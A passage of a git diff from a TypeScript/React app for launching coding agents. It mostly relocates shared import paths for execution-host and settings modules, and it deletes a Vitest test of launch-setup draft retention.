} from '@/lib/workspace/activation/worktree-activation' import { jumpToWorktreeFromSidebar } from '@/lib/workspace/activation/worktree-jump-navigation' import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { getSettingsFocusedExecutionHostId, getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { findKnownWorktreeById } from '@/store/slices/worktrees/listing/detected-worktree-meta' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx b/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx index d3ac11e72f0..6373303770c 100644 --- a/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx +++ b/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx @@ -12,8 +12,11 @@ import { useTranslate } from '@/i18n/use-translate' import { formatClipboardFilePath } from '@/lib/clipboard/clipboard-file-path' import { getWorktreeRowLocalPathOpenOwner } from '@/lib/workspace/ownership/worktree-row-open-in-owner' import { cn } from '@/lib/class-names' -import { getWorktreeExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { + getWorktreeExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getHostDisplayLabelOverrides } from '../../../../shared/execution-host/host-setting-overrides' import CommentMarkdown from '../sidebar/CommentMarkdown' import { getTranslatedExecutionHostLabel } from '../sidebar/execution-host-label' diff --git a/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts b/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts index 262fe5372ea..cdf956546e7 100644 --- a/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts +++ b/src/renderer/src/components/activity/use-agent-pane-thread-store-data.ts @@ -8,7 +8,7 @@ import type { AppState } from '@/store/types' import { getSettingsFocusedExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { projectActivityTabs, type ActivityTabProjection } from './activity-tab-projection' import { selectDetectedWorktreesByRepo, diff --git a/src/renderer/src/components/agent-tab-shortcut-launch.ts b/src/renderer/src/components/agent-tab-shortcut-launch.ts index 934bf010eec..eaacf33ccec 100644 --- a/src/renderer/src/components/agent-tab-shortcut-launch.ts +++ b/src/renderer/src/components/agent-tab-shortcut-launch.ts @@ -5,7 +5,7 @@ import { createNonSecureContextUuid } from '../../../shared/identifiers/non-secu import { translate } from '@/i18n/i18n' import { selectFloatingWorkspacePanelVisible } from '@/store/workspaces/floating/floating-workspace-panel-selector' import { useAppStore } from '../store' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent' import { captureAgentTabLaunchContext, diff --git a/src/renderer/src/components/agent/AgentLaunchPickerMenu.tsx b/src/renderer/src/components/agent/AgentLaunchPickerMenu.tsx index ba8280941f2..a28b0d9f1a9 100644 --- a/src/renderer/src/components/agent/AgentLaunchPickerMenu.tsx +++ b/src/renderer/src/components/agent/AgentLaunchPickerMenu.tsx @@ -4,7 +4,7 @@ import { } from '@/store/workspaces/catalog/workspace-record-fields' import { useEffect, useRef, useState, type ComponentProps, type ReactNode, type Ref } from 'react' import { useAppStore } from '@/store/index' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { Input } from '@/components/ui/input' import { Terminal } from 'lucide-react' import { agentPickerBlankTerminalMatches } from '@/lib/agent-catalog/agent-picker-search' diff --git a/src/renderer/src/components/agent/AgentLaunchSetupButton.retention.test.tsx b/src/renderer/src/components/agent/AgentLaunchSetupButton.retention.test.tsx deleted file mode 100644 index 175b9de8cfa..00000000000 --- a/src/renderer/src/components/agent/AgentLaunchSetupButton.retention.test.tsx +++ /dev/null @@ -1,237 +0,0 @@ -// @vitest-environment happy-dom -import { act, type ReactElement, type ReactNode } from 'react' -import { fireEvent, getByRole } from '@testing-library/react' -import userEvent from '@testing-library/user-event' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { TooltipProvider } from '@/components/ui/tooltip' -import { - DropdownMenu, - DropdownMenuContent, - DropdownMenuTrigger -} from '@/components/ui/dropdown-menu' -import { retireAgentPickerDrafts } from './agent-launch-picker-drafts' -import { AgentLaunchSetupButton } from './AgentLaunchSetupButton' -import { agentLaunchPromptScopeKey } from './AgentLaunchPromptComposer' -import { changePrompt } from '../native-chat/composer/editor/native-chat-prompt-editor.test-support' -import { clearNativeChatComposerDraftsForTests } from '../native-chat/drafts/native-chat-draft-reset' -import { readNativeChatComposerDraft } from '../native-chat/drafts/native-chat-composer-draft-store' -import { writeLaunchSetupOptions } from '../native-chat/drafts/native-chat-composer-draft-memory' -import * as sources from '../native-chat/drafts/native-chat-launch-draft-source' -import { transitionLaunchDrafts } from '../native-chat/drafts/native-chat-launch-draft-transition' -import type { AgentPickerEntry } from '../../../../shared/agent-launch/picker/agent-launch-picker' -import type { ExecutionHostId } from '../../../../shared/execution-host' - -vi.mock('@/hooks/useShortcutLabel', () => ({ useOptionalShortcutLabel: () => null })) - -const AGENTS = ['claude', 'codex'] as const -const HOSTS: ExecutionHostId[] = ['local', 'ssh:h1', 'runtime:r1'] -function row(workspace: number, agent: (typeof AGENTS)[number]): AgentPickerEntry { - return { - agent, - label: agent, - rows: [{ agent, kind: 'terminal', executionHostId: HOSTS[workspace % HOSTS.length] }], - surfaces: ['chat', 'terminal'], - defaultSurface: 'terminal', - terminal: {}, - structured: {}, - catalog: { origin: 'unknown' }, - ownerKey: `owner-${workspace}`, - worktreeId: `folder:f${workspace}` - } -} -const sourceCount = () => [...sources.launchDraftSources()].length -let root: Root -let host: HTMLDivElement -beforeEach(() => { - clearNativeChatComposerDraftsForTests() - vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true) - host = document.createElement('div') - document.body.append(host) - root = createRoot(host) -}) -afterEach(() => { - act(() => root.unmount()) - host.remove() - vi.restoreAllMocks() - vi.unstubAllGlobals() - Reflect.deleteProperty(window, 'api') - clearNativeChatComposerDraftsForTests() -}) - -const anchor = (trigger: ReactElement) =>
{trigger}
- -function InMenu({ children }: { children: ReactNode }) { - return ( - - - New tab - {children} - - - ) -} - -describe('setup records exist only for authored setups', () => { - it('keeps typed prompt and options through close, reopen and a rename', () => { - const entry: AgentPickerEntry = { - ...row(0, 'codex'), - worktreeId: 'repo::/old', - arguments: '--add-dir docs', - catalog: { - origin: 'probe', - fetchedAt: 1, - models: [ - { - id: 'gpt', - label: 'gpt', - isDefault: true, - efforts: [ - { value: 'low', label: 'Low' }, - { value: 'high', label: 'High' } - ] - } - ] - } - } - const show = (value: AgentPickerEntry) => - act(() => - root.render( - - - - ) - ) - const configure = () => - document.querySelector('button[aria-label="Configure codex"]')! - const prompt = () => - document.querySelector('[contenteditable][aria-multiline="true"]')! - const effort = (label: string) => - getByRole(document.body, 'radio', { name: label }).getAttribute('data-state') - const close = () => - fireEvent.keyDown(document.querySelector('[cmdk-input]')!, { key: 'Escape' }) - show(entry) - fireEvent.click(configure()) - close() - expect(sourceCount()).toBe(0) - - // The open panel's first write is an option change; it shows at once and retains the setup. - fireEvent.click(configure()) - // Arguments are agent settings, so the launch panel offers no editor for them. - expect(document.querySelector('textarea[aria-label="Arguments"]')).toBeNull() - fireEvent.click(getByRole(document.body, 'radio', { name: 'Low' })) - expect(effort('Low')).toBe('on') - expect(sourceCount()).toBe(1) - changePrompt(prompt(), 'fix the flaky test') - close() - expect(document.querySelector('[cmdk-input]')).toBeNull() - fireEvent.click(configure()) - expect(prompt().textContent).toBe('fix the flaky test') - expect(effort('Low')).toBe('on') - close() - - act(() => - transitionLaunchDrafts((source) => - source.workspaceId === 'repo::/old' - ? { workspaceId: 'repo::/new', executionHostId: source.executionHostId } - : undefined - ) - ) - show({ ...entry, worktreeId: 'repo::/new' }) - fireEvent.click(configure()) - expect(prompt().textContent).toBe('fix the flaky test') - expect(effort('Low')).toBe('on') - }) - - it('keeps a search preset in its own options slot, saving only real changes, with one shared prompt', async () => { - const entry: AgentPickerEntry = { - ...row(0, 'claude'), - worktreeId: 'repo::/w', - arguments: '--add-dir docs', - catalog: { - origin: 'probe', - fetchedAt: 1, - models: ['opus', 'sonnet'].map((id) => ({ - id, - label: id, - isDefault: false, - efforts: [ - { value: 'low', label: 'Low' }, - { value: 'high', label: 'High' } - ] - })) - } - } - const preset = { - agent: 'claude' as const, - surface: 'terminal' as const, - choices: { model: 'opus', options: { effort: 'high' } } - } - act(() => - root.render( - - - - - ) - ) - const user = userEvent.setup() - const [plain, searched] = document.querySelectorAll( - 'button[aria-label="Configure claude"]' - ) - const prompt = () => - document.querySelector('[contenteditable][aria-multiline="true"]')! - const effort = (label: string) => - getByRole(document.body, 'radio', { name: label }).getAttribute('data-state') - const model = () => document.querySelector('[cmdk-item][data-current="true"]')?.textContent - const close = () => - fireEvent.keyDown(document.querySelector('[cmdk-input]')!, { key: 'Escape' }) - - // Opening a preset saves nothing, and the plain row still shows defaults. - fireEvent.click(searched) - expect(model()).toBe('opus') - expect(effort('High')).toBe('on') - close() - expect(sourceCount()).toBe(0) - fireEvent.click(plain) - // Defaults: nothing chosen, so the agent keeps its own model. - expect(model()).toBeUndefined() - close() - expect(sourceCount()).toBe(0) - - // A real change saves into that preset's slot only and survives close and reopen. - fireEvent.click(searched) - await user.click(getByRole(document.body, 'radio', { name: 'Low' })) - expect(effort('Low')).toBe('on') - expect(sourceCount()).toBe(1) - changePrompt(prompt(), 'review the diff') - close() - fireEvent.click(searched) - expect(model()).toBe('opus') - expect(effort('Low')).toBe('on') - close() - - // The plain row keeps its own options but shares the workspace's typed prompt. - fireEvent.click(plain) - expect(model()).toBeUndefined() - expect(prompt().textContent).toBe('review the diff') - close() - expect(sourceCount()).toBe(1) - const scope = agentLaunchPromptScopeKey(entry) - writeLaunchSetupOptions(scope, { - agent: 'claude', - surface: 'terminal', - choices: {}, - pendingArguments: '--ordinary' - }) - retireAgentPickerDrafts([{ ...entry, catalog: { origin: 'probe', fetchedAt: 2, models: [] } }]) - expect(sources.readLaunchSetupOptions(scope, JSON.stringify(preset.choices))).toBeUndefined() - expect(sources.readLaunchSetupOptions(scope)?.pendingArguments).toBe('--ordinary') - expect(readNativeChatComposerDraft(scope).text).toBe('review the diff') - }) -}) diff --git a/src/renderer/src/components/agent/agent-launch-picker-omnibox.test-fixture.tsx b/src/renderer/src/components/agent/agent-launch-picker-omnibox.test-fixture.tsx index 84a18c6de18..96df4e80038 100644 --- a/src/renderer/src/components/agent/agent-launch-picker-omnibox.test-fixture.tsx +++ b/src/renderer/src/components/agent/agent-launch-picker-omnibox.test-fixture.tsx @@ -2,7 +2,7 @@ import { act, fireEvent, getByRole, waitFor } from '@testing-library/react' import { expect } from 'vitest' import type { Root } from 'react-dom/client' import { useAppStore } from '@/store' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' import { TEST_REPO } from '@/store/repos/repo.test-fixture' import { useNewTabAgentMenuRows } from '../tab-bar/use-new-tab-agent-menu-rows' diff --git a/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx b/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx index 34f07a92984..328e2247caf 100644 --- a/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx +++ b/src/renderer/src/components/agent/launch-settings/AgentDefaultSurfacePreviews.tsx @@ -20,7 +20,7 @@ import { AgentIcon } from '@/components/agent/icons/AgentIcon' import { buildFontFamily } from '../../../../../shared/styles/monospace-font-family' import { resolveEffectiveTerminalAppearance } from '@/lib/terminal/appearance/terminal-theme' import { cn } from '@/lib/class-names' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' // The tip's chat miniature, finished and denser so it fits a tile; nothing here animates. const CHAT_SCALE: CSSProperties & { '--chat-font-size': string } = { '--chat-font-size': '10px' } diff --git a/src/renderer/src/components/agent/launch-settings/codex-session-source-home-control.tsx b/src/renderer/src/components/agent/launch-settings/codex-session-source-home-control.tsx index 4e5d71699f0..ab34a8be56f 100644 --- a/src/renderer/src/components/agent/launch-settings/codex-session-source-home-control.tsx +++ b/src/renderer/src/components/agent/launch-settings/codex-session-source-home-control.tsx @@ -1,6 +1,6 @@ import { useState } from 'react' import { Info } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { normalizeGlobalWindowsRuntimeDefault } from '../../../../../shared/execution-host/project-runtime-preference' import { Button } from '../../ui/button' import { Input } from '../../ui/input' diff --git a/src/renderer/src/components/agent/use-agent-launch-picker-inventory.ts b/src/renderer/src/components/agent/use-agent-launch-picker-inventory.ts index 40cf89e20e8..13e88273b4b 100644 --- a/src/renderer/src/components/agent/use-agent-launch-picker-inventory.ts +++ b/src/renderer/src/components/agent/use-agent-launch-picker-inventory.ts @@ -16,7 +16,7 @@ import { subscribeLocalRuntimeCapabilityObservation } from '@/runtime/hosts/capabilities/local-runtime-capabilities' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { selectWorkspaceByHostTarget } from '@/store/workspaces/selection/workspace-host-target' import { selectWorktreesByRepo, diff --git a/src/renderer/src/components/automations/authoring/AutomationAgentLaunchPicker.tsx b/src/renderer/src/components/automations/authoring/AutomationAgentLaunchPicker.tsx index 7d41df74e03..e086cb07849 100644 --- a/src/renderer/src/components/automations/authoring/AutomationAgentLaunchPicker.tsx +++ b/src/renderer/src/components/automations/authoring/AutomationAgentLaunchPicker.tsx @@ -11,7 +11,7 @@ import { type ProspectiveWorkspace } from '@/lib/agent-session/launch/routing/agent-launch-route-input' import type { AgentCatalogEntry } from '@/lib/agent-catalog/agent-catalog' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { AUTOMATION_LAUNCH_SETUP_RUNTIME_CAPABILITY } from '../../../../../shared/automations/automation-runtime-capabilities' import { automationLegacyArguments } from '../../../../../shared/automations/launch/automation-legacy-arguments' import type { AutomationAuthorityRef } from '../../../../../shared/automations/ownership/automation-owner-ref' @@ -30,7 +30,7 @@ import { editAutomationLegacyDraft, editsSupplementalArguments } from './automation-launch-draft' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' function legacyArgumentsDraft(draft: AutomationDraft): AutomationDraft { return { diff --git a/src/renderer/src/components/automations/authoring/AutomationEditorDialog.tsx b/src/renderer/src/components/automations/authoring/AutomationEditorDialog.tsx index c1952ea4052..2664fba6203 100644 --- a/src/renderer/src/components/automations/authoring/AutomationEditorDialog.tsx +++ b/src/renderer/src/components/automations/authoring/AutomationEditorDialog.tsx @@ -20,7 +20,7 @@ import type { AutomationSchedulePreset, AutomationWorkspaceMode } from '../../../../../shared/automations/automation-definition' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { OrcaHooks } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/components/automations/authoring/AutomationEditorSettingsSidebar.tsx b/src/renderer/src/components/automations/authoring/AutomationEditorSettingsSidebar.tsx index 2857e62d3f1..98087b5c8f4 100644 --- a/src/renderer/src/components/automations/authoring/AutomationEditorSettingsSidebar.tsx +++ b/src/renderer/src/components/automations/authoring/AutomationEditorSettingsSidebar.tsx @@ -3,7 +3,7 @@ import { AutomationAgentLaunchPicker } from './AutomationAgentLaunchPicker' import type { ProspectiveWorkspace } from '@/lib/agent-session/launch/routing/agent-launch-route-input' import { useTranslate } from '@/i18n/use-translate' import { isValidAutomationSchedule } from '../../../../../shared/automations/scheduling/automation-schedule-parsing' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { OrcaHooks } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx b/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx index b06b569337c..5aa5103543d 100644 --- a/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx +++ b/src/renderer/src/components/automations/authoring/AutomationProjectCombobox.tsx @@ -6,7 +6,7 @@ import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel' import { useAppStore } from '@/store/index' import { isGitRepoKind } from '../../../../../shared/repository/repo-kind' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isRepoSearchQueryTooLarge, searchRepos } from '@/lib/workspace/catalog/repo-search' import { cn } from '@/lib/class-names' import { useMountedRef } from '@/hooks/useMountedRef' diff --git a/src/renderer/src/components/automations/authoring/AutomationSurfaceField.tsx b/src/renderer/src/components/automations/authoring/AutomationSurfaceField.tsx index 607efa1ca7a..043d2252ed6 100644 --- a/src/renderer/src/components/automations/authoring/AutomationSurfaceField.tsx +++ b/src/renderer/src/components/automations/authoring/AutomationSurfaceField.tsx @@ -1,7 +1,7 @@ import { ToggleGroup, ToggleGroupItem } from '@/components/ui/toggle-group' import { useTranslate } from '@/i18n/use-translate' import { nativeChatPreferenceFor } from '../../../../../shared/agent-launch/choices/structured-native-chat-launch-route' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Field, AUTOMATION_EDITOR_SECTION_LABEL_CLASS } from '../automation-page-parts' import { automationDraftSurface } from './automation-launch-surface' import type { AutomationDraft } from './AutomationEditorDialog' diff --git a/src/renderer/src/components/automations/authoring/automation-create-destination.ts b/src/renderer/src/components/automations/authoring/automation-create-destination.ts index e4121a3f6bc..97967814e78 100644 --- a/src/renderer/src/components/automations/authoring/automation-create-destination.ts +++ b/src/renderer/src/components/automations/authoring/automation-create-destination.ts @@ -9,7 +9,10 @@ import { hostStableKey, isSameAutomationOwner } from '../../../../../shared/automations/ownership/automation-owner-key' -import { getRepoSshConnectionId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoSshConnectionId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { AutomationCatalogHydrationEvidence, diff --git a/src/renderer/src/components/automations/authoring/automation-create-projects.ts b/src/renderer/src/components/automations/authoring/automation-create-projects.ts index 83b5ca62542..aeede2b3817 100644 --- a/src/renderer/src/components/automations/authoring/automation-create-projects.ts +++ b/src/renderer/src/components/automations/authoring/automation-create-projects.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { AutomationHostTarget } from '../hosts/automation-host-client' diff --git a/src/renderer/src/components/automations/authoring/automation-launch-surface.ts b/src/renderer/src/components/automations/authoring/automation-launch-surface.ts index d6a4c8071fd..a57fcb7b63b 100644 --- a/src/renderer/src/components/automations/authoring/automation-launch-surface.ts +++ b/src/renderer/src/components/automations/authoring/automation-launch-surface.ts @@ -9,7 +9,7 @@ import type { AutomationUpdateInput, AutomationCreateInput } from '../../../../../shared/automations/automation-definition' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { AUTOMATION_SURFACE_RUNTIME_CAPABILITY } from '../../../../../shared/automations/automation-runtime-capabilities' import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, diff --git a/src/renderer/src/components/automations/authoring/automation-orca-save.ts b/src/renderer/src/components/automations/authoring/automation-orca-save.ts index 9eb54531ce9..3f159e838ff 100644 --- a/src/renderer/src/components/automations/authoring/automation-orca-save.ts +++ b/src/renderer/src/components/automations/authoring/automation-orca-save.ts @@ -16,7 +16,7 @@ import type { AutomationCreateInput, AutomationUpdateInput } from '../../../../../shared/automations/automation-definition' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store/index' import { listAutomationsForTarget } from '../hosts/automation-host-client' diff --git a/src/renderer/src/components/automations/authoring/automation-project-groups.ts b/src/renderer/src/components/automations/authoring/automation-project-groups.ts index c27d8333507..634288a53be 100644 --- a/src/renderer/src/components/automations/authoring/automation-project-groups.ts +++ b/src/renderer/src/components/automations/authoring/automation-project-groups.ts @@ -1,7 +1,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getProjectIdentityKey } from '../../../../../shared/project/host-setup/project-host-setup-projection' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/components/automations/authoring/automation-recorded-target.ts b/src/renderer/src/components/automations/authoring/automation-recorded-target.ts index e5485d44490..f531f060f49 100644 --- a/src/renderer/src/components/automations/authoring/automation-recorded-target.ts +++ b/src/renderer/src/components/automations/authoring/automation-recorded-target.ts @@ -1,6 +1,6 @@ import type { Automation } from '../../../../../shared/automations/automation-definition' import { AUTOMATION_ORPHAN_ISSUES } from '../../../../../shared/automations/ownership/automation-list-scope' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { automationAuthorityCatalogKey } from '../hosts/automation-host-catalog-types' import type { AutomationCapturedOwner } from '../hosts/automation-captured-owner' import type { AutomationCreateDestination } from './automation-create-destination' diff --git a/src/renderer/src/components/automations/authoring/automation-run-context.ts b/src/renderer/src/components/automations/authoring/automation-run-context.ts index d9fd40c7274..022caabf2f6 100644 --- a/src/renderer/src/components/automations/authoring/automation-run-context.ts +++ b/src/renderer/src/components/automations/authoring/automation-run-context.ts @@ -4,7 +4,7 @@ import { } from '../../../../../shared/work-items/task-source-context' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { Repo } from '../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function buildAutomationRunContextForRepo(args: { repoId: string diff --git a/src/renderer/src/components/automations/authoring/automation-setup-decision.ts b/src/renderer/src/components/automations/authoring/automation-setup-decision.ts index 4cf5225dfb9..2abe7c940c7 100644 --- a/src/renderer/src/components/automations/authoring/automation-setup-decision.ts +++ b/src/renderer/src/components/automations/authoring/automation-setup-decision.ts @@ -9,7 +9,7 @@ import type { ProjectHostSetup } from '../../../../../shared/project/project-typ import type { Repo } from '../../../../../shared/repository/repo-types' import type { SetupDecision } from '../../../../../shared/worktree/create-types' import { findAutomationRepo } from '../../../../../shared/automations/ownership/automation-repo-target' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getSetupConfig } from '../../../../../shared/workspace-setup/hooks/orca-hook-setup-config' type AutomationSetupSource = { diff --git a/src/renderer/src/components/automations/authoring/automation-setup-review.ts b/src/renderer/src/components/automations/authoring/automation-setup-review.ts index 3e01a078725..1a7a82a35fd 100644 --- a/src/renderer/src/components/automations/authoring/automation-setup-review.ts +++ b/src/renderer/src/components/automations/authoring/automation-setup-review.ts @@ -11,7 +11,7 @@ import type { Automation } from '../../../../../shared/automations/automation-de import type { AutomationUsageSummary } from '../../../../../shared/automations/history/automation-usage-summary' import { getAutomationRunRepoId } from '../../../../../shared/automations/history/automation-run-identity' import type { SetupDecision, SetupTrustMismatch } from '../../../../../shared/worktree/create-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' /** Runs create from the automation's base, so approve the orca.yaml there, not the project checkout's. */ export function approveAutomationSetup( diff --git a/src/renderer/src/components/automations/authoring/use-automation-editor-actions.ts b/src/renderer/src/components/automations/authoring/use-automation-editor-actions.ts index 83f7f7eaa11..e39c484dfd8 100644 --- a/src/renderer/src/components/automations/authoring/use-automation-editor-actions.ts +++ b/src/renderer/src/components/automations/authoring/use-automation-editor-actions.ts @@ -1,5 +1,5 @@ import { useCallback } from 'react' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { buildAutomationEditDraft } from './automation-edit-draft' import { AUTOMATION_DEFAULT_TIME, getDefaultWorktree } from './automation-draft-model' diff --git a/src/renderer/src/components/automations/authoring/use-automations-page-destination-form.ts b/src/renderer/src/components/automations/authoring/use-automations-page-destination-form.ts index 1142cf1664d..190dd24c7bd 100644 --- a/src/renderer/src/components/automations/authoring/use-automations-page-destination-form.ts +++ b/src/renderer/src/components/automations/authoring/use-automations-page-destination-form.ts @@ -5,7 +5,7 @@ import { isSameAutomationWorkspace } from './automation-recorded-target' import { useCallback, useEffect, useMemo } from 'react' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' import { automationWorktreesForRepo } from '../listing/automation-list-row-identity' import { getAutomationCreateRepos } from './automation-create-projects' diff --git a/src/renderer/src/components/automations/authoring/use-automations-page-destination-state.ts b/src/renderer/src/components/automations/authoring/use-automations-page-destination-state.ts index 2d45137da48..53d7adabe30 100644 --- a/src/renderer/src/components/automations/authoring/use-automations-page-destination-state.ts +++ b/src/renderer/src/components/automations/authoring/use-automations-page-destination-state.ts @@ -8,7 +8,7 @@ import { normalizeExecutionHostId, toSshExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { automationCreateHostOffered, automationCreateHostStableKey diff --git a/src/renderer/src/components/automations/authoring/use-automations-page-setup-state.ts b/src/renderer/src/components/automations/authoring/use-automations-page-setup-state.ts index 077bd9da2b5..fc675b20fde 100644 --- a/src/renderer/src/components/automations/authoring/use-automations-page-setup-state.ts +++ b/src/renderer/src/components/automations/authoring/use-automations-page-setup-state.ts @@ -6,7 +6,10 @@ import { getAutomationHostTargetFromKey, type AutomationHostTarget } from '../hosts/automation-host-client' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { findAutomationRepo } from '../../../../../shared/automations/ownership/automation-repo-target' import { getVisibleAutomationSetupDecision } from './automation-setup-decision' import type { AutomationsPageListState } from '../listing/use-automations-page-list-state' diff --git a/src/renderer/src/components/automations/automation-page-state.ts b/src/renderer/src/components/automations/automation-page-state.ts index 473a6b6816c..c4c76738e5a 100644 --- a/src/renderer/src/components/automations/automation-page-state.ts +++ b/src/renderer/src/components/automations/automation-page-state.ts @@ -4,7 +4,7 @@ export type AutomationPaneTab = 'overview' | 'runs' /** Top-level surface within Automations. */ export type AutomationsPageView = 'automations' | 'runs' | 'run' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AutomationRunPageOrigin } from '../../store/slices/ui/automations-page-location' export type { diff --git a/src/renderer/src/components/automations/automations-page-navigation.ts b/src/renderer/src/components/automations/automations-page-navigation.ts index ffa9b2f6cbf..49e21b2bbc8 100644 --- a/src/renderer/src/components/automations/automations-page-navigation.ts +++ b/src/renderer/src/components/automations/automations-page-navigation.ts @@ -1,4 +1,7 @@ -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { AutomationRun } from '../../../../shared/automations/history/automation-run' import type { AutomationListRow } from './listing/automation-list-row-identity' import type { AutomationRunPageOrigin, AutomationsPageLocation } from './automation-page-state' diff --git a/src/renderer/src/components/automations/details/automation-source-display.ts b/src/renderer/src/components/automations/details/automation-source-display.ts index fdd82e1edc7..ca59978dee5 100644 --- a/src/renderer/src/components/automations/details/automation-source-display.ts +++ b/src/renderer/src/components/automations/details/automation-source-display.ts @@ -1,6 +1,6 @@ import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' -import { getExecutionHostLabel } from '../../../../../shared/execution-host' +import { getExecutionHostLabel } from '../../../../../shared/execution-host/execution-host' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' export type AutomationSourceDisplay = { diff --git a/src/renderer/src/components/automations/hosts/automation-authority-identity.ts b/src/renderer/src/components/automations/hosts/automation-authority-identity.ts index bd3395fb617..bb60f195e59 100644 --- 